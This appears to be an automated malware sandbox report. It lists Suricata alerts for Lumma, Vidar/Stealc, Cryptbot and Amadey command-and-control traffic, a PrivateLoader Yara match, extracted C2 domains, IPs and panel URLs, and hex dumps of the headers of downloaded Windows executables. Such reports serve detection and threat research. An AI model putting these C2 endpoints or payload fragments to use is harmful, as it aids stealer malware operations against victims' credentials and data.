Source: Network traffic	Suricata IDS: 2056005 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (achievenmtynwjq .shop in TLS SNI) : 192.168.2.9:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49756 -> 5.53.124.195:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:49770 -> 45.202.35.101:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49749 -> 5.53.124.195:80
Source: Network traffic	Suricata IDS: 2055834 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sentistivowmi .shop) : 192.168.2.9:58290 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056009 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (chickerkuso .shop in TLS SNI) : 192.168.2.9:49783 -> 104.21.88.61:443
Source: Network traffic	Suricata IDS: 2056008 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chickerkuso .shop) : 192.168.2.9:64268 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056009 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (chickerkuso .shop in TLS SNI) : 192.168.2.9:49787 -> 104.21.88.61:443
Source: Network traffic	Suricata IDS: 2056022 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (questionmwq .shop) : 192.168.2.9:64873 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056023 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (questionmwq .shop in TLS SNI) : 192.168.2.9:49793 -> 172.67.204.62:443
Source: Network traffic	Suricata IDS: 2056023 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (questionmwq .shop in TLS SNI) : 192.168.2.9:49797 -> 172.67.204.62:443
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.9:49794 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.9:49763 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49764 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49764 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.165.127:443 -> 192.168.2.9:49766
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.165.127:443 -> 192.168.2.9:49765
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49783 -> 104.21.88.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49783 -> 104.21.88.61:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49787 -> 104.21.88.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49787 -> 104.21.88.61:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49793 -> 172.67.204.62:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49793 -> 172.67.204.62:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.165.127:443 -> 192.168.2.9:49802
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49797 -> 172.67.204.62:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49797 -> 172.67.204.62:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.165.127:443 -> 192.168.2.9:49804

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6388, type: MEMORYSTR

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: opponnentduei.shop
Source: Malware configuration extractor	URLs: carrtychaintnyw.shop
Source: Malware configuration extractor	URLs: puredoffustow.shop
Source: Malware configuration extractor	URLs: achievenmtynwjq.shop
Source: Malware configuration extractor	URLs: chickerkuso.shop
Source: Malware configuration extractor	URLs: metallygaricwo.shop
Source: Malware configuration extractor	URLs: quotamkdsdqo.shop
Source: Malware configuration extractor	URLs: milldymarskwom.shop
Source: Malware configuration extractor	URLs: sentistivowmi.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869
Source: Malware configuration extractor	URLs: http://nwgrus.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://tech-servers.in.net/tmp/index.php
Source: Malware configuration extractor	URLs: http://unicea.ws/tmp/index.php
Source: Malware configuration extractor	IPs: 45.202.35.101
Source: Malware configuration extractor	URLs: /v1/upload.phptventyvf20pt.top
Source: Malware configuration extractor	URLs: tventyvf20pt.top
Source: Malware configuration extractor	URLs: @tventyvf20pt.top
Source: Malware configuration extractor	URLs: analforeverlovyu.top
Source: Malware configuration extractor	URLs: entyvf20pt.top
Source: Malware configuration extractor	URLs: 193.233.255.84:4284

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:33:40 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Fri, 20 Sep 2024 19:40:07 GMTETag: "65ba6e-6229234d7ee13"Accept-Ranges: bytesContent-Length: 6666862Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 0e 7d ed 66 00 74 5f 00 a6 25 00 00 e0 00 06 01 0b 01 02 23 00 40 48 00 00 c6 5a 00 00 e4 66 00 b0 14 00 00 00 10 00 00 00 50 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c6 00 00 06 00 00 29 87 66 00 02 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 a0 b3 00 42 00 00 00 00 b0 b3 00 e4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 b3 00 68 20 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 f9 48 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 b1 b3 00 90 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 3e 48 00 00 10 00 00 00 40 48 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 88 18 00 00 00 50 48 00 00 1a 00 00 00 46 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 9b 00 00 00 70 48 00 00 9c 00 00 00 60 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2f 34 00 00 00 00 00 00 e0 9d 03 00 00 10 49 00 00 9e 03 00 00 fc 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 54 e2 66 00 00 b0 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 42 00 00 00 00 a0 b3 00 00 02 00 00 00 9a 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 e4 09 00 00 00 b0 b3 00 00 0a 00 00 00 9c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 34 00 00 00 00 c0 b3 00 00 02 00 00 00 a6 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 d0 b3 00 00 02 00 00 00 a8 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 68 20 0e 00 00 e0 b3 00 00 22 0e 00 00 aa 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 34 00 00 00 00 00 90 06 00 00 00 10 c2 00 00 08 00 00 00 cc 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 32 39 00 00 00 00 00 c4 a7 01 00 00 20 c2 00 00 a8 01 00 00 d4 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 31 00 00 00 00 00 58 4c 00 00 00 d0 c3 00 00 4e 00 00 00 7c 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 35 00 00 00 00 00 42 e3
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Sat, 21 Sep 2024 11:33:41 GMTContent-Type: application/octet-streamContent-Length: 3129722Connection: keep-aliveX-Powered-By: PHP/7.4.33Content-Description: File TransferContent-Disposition: attachment; filename=noode.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 30 9d 00 00 00 10 00 00 00 9e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 50 02 00 00 00 b0 00 00 00 04 00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 8c 0e 00 00 00 c0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 c4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:41 GMTContent-Type: application/octet-streamContent-Length: 4249600Last-Modified: Sun, 15 Sep 2024 16:05:36 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e705d0-40d800"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f 55 fb d1 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 9c 3e 00 00 38 02 00 00 00 00 00 ae ba 3e 00 00 20 00 00 00 c0 3e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 41 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 60 ba 3e 00 4b 00 00 00 00 e0 3e 00 84 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 41 00 0c 00 00 00 10 ba 3e 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 9a 3e 00 00 20 00 00 00 9c 3e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 84 04 00 00 00 c0 3e 00 00 06 00 00 00 a0 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 84 2e 02 00 00 e0 3e 00 00 30 02 00 00 a6 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 41 00 00 02 00 00 00 d6 40 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:41 GMTContent-Type: application/octet-streamContent-Length: 361336Last-Modified: Fri, 20 Sep 2024 18:02:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66edb89b-58378"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0d b7 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 50 05 00 00 08 00 00 00 00 00 00 ee 6e 05 00 00 20 00 00 00 80 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 6e 05 00 53 00 00 00 00 80 05 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 5a 05 00 78 29 00 00 00 a0 05 00 0c 00 00 00 60 6d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 4e 05 00 00 20 00 00 00 50 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 80 05 00 00 06 00 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 05 00 00 02 00 00 00 58 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 6e 05 00 00 00 00 00 48 00 00 00 02 00 05 00 d8 5e 05 00 88 0e 00 00 03 00 02 00 0c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 9a 24 d3 fa 09 ed 73 70 1d d9 10 6b b3 54 61 ce ca 81 de fd fe 7c e7 b4 4b e4 c3 3f 77 4e 05 10 b3 2d 18 d3 6d df 0d 45 a5 89 ee 8f 43 8d 39 ec a5 d3 9d 2d 23 0f dd 0c b9 66 92 cc 3d ba 9b 1b 35 73 70 4a fe c5 d8 0f fd ee a3 7a 03 73 d5 d2 5f 34 76 15 5a 55 4f c7 91 77 a3 b4 81 62 fd 0c 01 6e 65 bf 73 52 13 b9 76 40 73 4f d6 34 d0 9d 5d 20 0d ee 1c ff 14 a1 56 c3 4c 93 f6 87 1e d4 b7 54 56 5b 1b 58 ec 76 46 04 19 02 b7 f1 c9 7c be e1 68 49 2a b7 d6 9c 24 3c 67 62 f3 e2 e1 76 2d 43 6d 3c 5b 36 52 b2 13 9f 38 a9 e7 86 21 6d 8a b8 bf ac 8c 97 be 87 8a 96 27 bd 3f 6a ee 8f d9 17 a1 57 60 4a 49 e9 c2 21 6b 0a d2 ca bf a3 e0 f1 aa c9 d5 2c 84 4f bd 3c 39 ea c1 57 a9 f9 86 58 ef 97 fe 4c 45 71 f3 d2 07 af 20 21 8c 88 cb d2 e6 f6 51 d9 a2 d9 92 24 bb 40 b3 d8 ef 03 2c 39 39 1b b7 7e 93 cc c8 25 28 f1 e4 d5 5c 16 c7 7c 42 88 1d 23 b2 61 84 fe ef 20 b5 97 d9 1c 0b 85 77 b9 ea b1 5a 56 92 ca 39 b9 6b 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:42 GMTContent-Type: application/octet-streamContent-Length: 3037032Last-Modified: Thu, 19 Sep 2024 05:16:47 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ebb3bf-2e5768"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ba f7 20 98 fe 96 4e cb fe 96 4e cb fe 96 4e cb f7 ee dd cb ec 96 4e cb 60 36 89 cb ff 96 4e cb 1b cf 4b ca fc 96 4e cb 23 69 80 cb fa 96 4e cb 23 69 85 cb f0 96 4e cb c5 c8 4d ca f8 96 4e cb c5 c8 4a ca f0 96 4e cb c5 c8 4b ca df 96 4e cb c5 c8 4f ca f8 96 4e cb d9 50 35 cb fc 96 4e cb 69 c8 4f ca d3 96 4e cb fe 96 4f cb 3a 9d 4e cb 69 c8 4b ca a1 96 4e cb 69 c8 4e ca ff 96 4e cb 6c c8 b1 cb ff 96 4e cb fe 96 d9 cb ff 96 4e cb 69 c8 4c ca ff 96 4e cb 52 69 63 68 fe 96 4e cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 81 9f 25 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 38 12 00 00 02 1c 00 00 00 00 00 1e 24 10 00 00 10 00 00 00 50 12 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 2e 00 00 04 00 00 9a d5 21 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 90 25 18 00 c4 a8 00 00 54 ce 18 00 5c 03 00 00 00 20 1b 00 d8 66 13 00 00 00 00 00 00 00 00 00 00 3e 2e 00 68 19 00 00 00 d0 1f 00 90 09 02 00 90 29 15 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 2a 15 00 18 00 00 00 e8 29 15 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 12 00 b8 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 40 12 00 00 10 00 00 00 38 12 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 00 30 08 00 00 50 12 00 00 28 08 00 00 3c 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 80 00 00 00 80 1a 00 00 6e 00 00 00 64 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 00 1b 00 00 02 00 00 00 d2 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 00 10 00 00 00 10 1b 00 00 02 00 00 00 d4 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 d8 66 13 00 00 20 1b 00 00 68 13 00 00 d6 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:44 GMTContent-Type: application/octet-streamContent-Length: 418816Last-Modified: Sat, 21 Sep 2024 07:43:45 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ee7931-66400"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d ba df d9 09 db b1 8a 09 db b1 8a 09 db b1 8a 66 ad 1a 8a 1b db b1 8a 66 ad 2f 8a 06 db b1 8a 66 ad 1b 8a 5c db b1 8a 00 a3 22 8a 02 db b1 8a 09 db b0 8a 86 db b1 8a 66 ad 1e 8a 08 db b1 8a 66 ad 2b 8a 08 db b1 8a 66 ad 2c 8a 08 db b1 8a 52 69 63 68 09 db b1 8a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 12 f6 25 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 48 03 00 00 b4 04 02 00 00 00 00 7e 3e 00 00 00 10 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 07 02 00 04 00 00 c5 b4 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 4a 03 00 78 00 00 00 00 10 05 02 e8 bc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 4b 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6a 47 03 00 00 10 00 00 00 48 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 8c ac 01 02 00 60 03 00 00 5a 00 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 bc 02 00 00 10 05 02 00 be 02 00 00 a6 03 00 00 